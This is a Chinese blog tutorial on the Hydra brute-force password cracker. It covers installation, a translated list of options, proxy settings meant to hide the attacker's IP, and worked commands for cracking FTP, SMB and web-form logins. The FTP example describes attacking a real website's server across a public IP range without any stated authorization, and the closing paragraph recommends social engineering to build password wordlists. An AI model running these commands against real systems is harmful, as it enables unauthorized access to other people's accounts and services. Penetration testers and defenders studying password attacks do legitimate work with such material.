hydra 暴力破解工具

xiaoc[www.81sec.com]

[0x00]工具简介
     hydra著名黑客组织thc的一款开源的暴力破解工具,可以破解多种密码。 其官网http://www.thc.org,本文测试版本为最新版本5.8,可支持

引用

     TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL,
     REXEC,RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, 
     NNTP, PCNFS,ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, 
     Cisco auth, Cisco enable,AFP, LDAP2, Cisco AAA

等密码破解。唯一觉得不大方便的是,用于密码破解的字典必须我们自己制作指定
[0x01]安装手记
cd到下载好的安装程序目录,解压软件包
sudo tar zxvf hydra-5.8-src.tar.gz

得到hydra-5.8-src文件夹,进入该文件夹,按照安装说明首先进行配置
sudo ./configure

会检测到当前系统一些组建配置,主要是对于破解支持模块的检测,大家根据需要安装对应的支持库和依赖包,在以后实战过程我可能会提到相关模块。
直接继续编译,sudo make和sudo make install,这样就安装完成了。另外值得说明的是,该软件支持GUI的人性化界面,个人不推荐,感兴趣的朋友可以到官网下载页面查看。
[0x02]参数详解(官网是英文,下面我翻译成中文)
格式:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

server service [OPT]   # 可选的
   -R         继续从上一次进度接着破解
   -S         采用SSL链接(大写的S)
   -s PORT   如果非默认端口,可通过这个参数指定
   -l LOGIN   小写,用于指定破解的用户,对特定用户破解
   -L FILE   大写,用于指定用户的用户名字典
   -p PASS   小写,用于指定密码破解,少用,一般是采用密码字典
   -P FILE   大写,用于指定密码字典
   -e ns     额外的选项,n:空密码试探,s:使用指定账户和密码试探
   -C FILE   使用冒号分割格式 例如 "登录名:密码"来代替-L/-P参数
   -M FILE   指定目标列表文件一行一条
   -o FILE   指定结果输出文件
   -f         在使用-M参数以后 找到第一对登录名或者密码的时候中止破解
   -t TASKS   同时运行的线程数,默认为16
   -w TIME   设置最大超时的时间,单位秒,默认是30s
   -v / -V   显示详细过程
   server     目标ip
   service   指定服务名,支持如下: telnet ftp pop3[-ntlm]   imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco   cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5   rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere   teamspeak sip vmauthd firebird ncp afp
   OPT       可选项

如何使用代理服务器进行破解(这一点主要处于攻击者的ip,处于自身安全考虑)
----------------------------
HYDRA_PROXY_HTTP 变量参数可以用来定义代理服务器(只能使用http代理)
语法:
HYDRA_PROXY_HTTP="http://ip:port/"
HYDRA_PROXY_CONNECT=ip:8000

如果你使用的代理需要用户名和密码,请使用HYDRA_PROXY_AUTH 变量参数:
HYDRA_PROXY_AUTH="the_login:the_password"

[0x03]实例破解
1.ftp密码破解
结合自己实例,最近试探一个网站,得到了ftp用户,是serv-u6.02但是无法破解密码,我通过收集这些ftp用户将结果保存在ftpuser.lst文件中,同时通过收集各个网站的信息,包括管理员的信息组合形成一个密码字典ftppwd.lst。于是,就开始尝试破解,命令如下:
sudo hydra -L /home/dict/ftpuser.lst -P /home/dict/ftppwd.lst 218.86.103.* ftp

这个是基于多用户密码破解,另外还有一个本地ftp密码破解方案。为了效率我直接将密码写入到pwd.lst字典中
sudo hydra -l administrator -P /home/dict/pwd.lst -v 192.168.8.6 ftp

返回结果如下,成功破解了密码:
# 该行说明任务总数,会根据你提供用户名和密码进行计算,l:1/p:2表示一个用户名,密码字典中又2个密码
[DATA] 2 tasks, 1 servers, 2 login tries (l:1/p:2), ~1 tries per task   
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[STATUS] attack finished for 192.168.8.6 (waiting for childs to finish)
# 破解成功,直接显示出来,当然你可以让他输出到文件,通过参数-o设定
[21][ftp] host: 192.168.8.6   login: administrator   password: 123

通过这种方法有极大可能破解这个ftp,当然关键在于你的字典,我们可以通过字典生成器就可以很好的破解了。
2.samba密码破解
利用nmap扫描到服务器开启了samba服务,于是尝试收集该服务器信息组合成密码字典。由于该应用类似ftp破解,这里不对具体演示,只是将ftp服务改成smb服务即可。
3.网站后台密码破解
该软件的强大之处就在于支持多种协议的破解,同样他也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具又一个不好的地方就是,如果目标网站登录时候需要验证码无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">


假设有以上一个密码登录表单,我们执行命令:
sudo hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

# 破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t是同时线程数为1,-f是当破解了一个密码就停止,ip是本地,就是目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解后面参数是网页中对应的表单字段的name属性,后面title中的内容是表示错误猜解的返回信息提示,可以自定义。
[0x04]总结
该工具的强大只有你自行体验了,当然密码能否破解关键在于你的字典。以上一些实例操作仅仅是提供的支持的众多服务中的3种,其他的服务也同样非常强大,留给大家自行体会。其实密码字典的生成有相关的工具,你可以自己生成符合一定规则的密码字典。当然如果你是一个成功的社工专家,往往能够得到事半功倍的效果。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值